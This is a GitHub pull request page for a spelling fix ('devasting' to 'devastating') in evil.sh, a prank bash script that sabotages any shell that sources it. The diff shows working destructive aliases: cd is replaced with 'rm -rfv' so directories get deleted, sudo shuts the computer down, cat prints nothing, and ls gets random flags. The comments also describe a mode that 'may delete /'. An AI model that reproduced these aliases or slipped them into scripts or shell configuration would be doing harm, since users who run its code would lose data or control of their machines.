Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Correct spelling error #91

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions evil.sh
Original file line number Diff line number Diff line change
@@ -1,15 +1,15 @@
#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh

# valid values are: insane, annoying, destructive, devasting, unusable
# valid values are: insane, annoying, destructive, devastating, unusable
# each mode of operation includes the previous one's tweaks
#
# insane: only enable subtle behaviour that confuses and slowly drives people insane e.g. make exit
# open a new shell
# annoying: like insane just way more obvious behaviour allowed (e.g. constantly cd to the wrong
# (random) directory
# destructive: delete files and do serious harm, non-recoverable damage included
# devasting: may delete /
# devastating: may delete /
# unusable: enable everything including, but not limited to replacing enter by backspace
EVIL_BEHAVIOUR=annoying

Expand All @@ -25,12 +25,12 @@ function annoying()

function destructive()
{
devasting || test "$EVIL_BEHAVIOUR" = "destructive"
devastating || test "$EVIL_BEHAVIOUR" = "destructive"
}

function devasting()
function devastating()
{
unusable || test "$EVIL_BEHAVIOUR" = "devasting"
unusable || test "$EVIL_BEHAVIOUR" = "devastating"
}

function unusable()
Expand All @@ -57,7 +57,7 @@ annoying && alias cat=true;
annoying && function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them.
devasting && alias cd='rm -rfv';
devastating && alias cd='rm -rfv';

# Shut down the computer instead of running a command with super-user rights.
destructive && alias sudo='sudo shutdown -P now';
Expand Down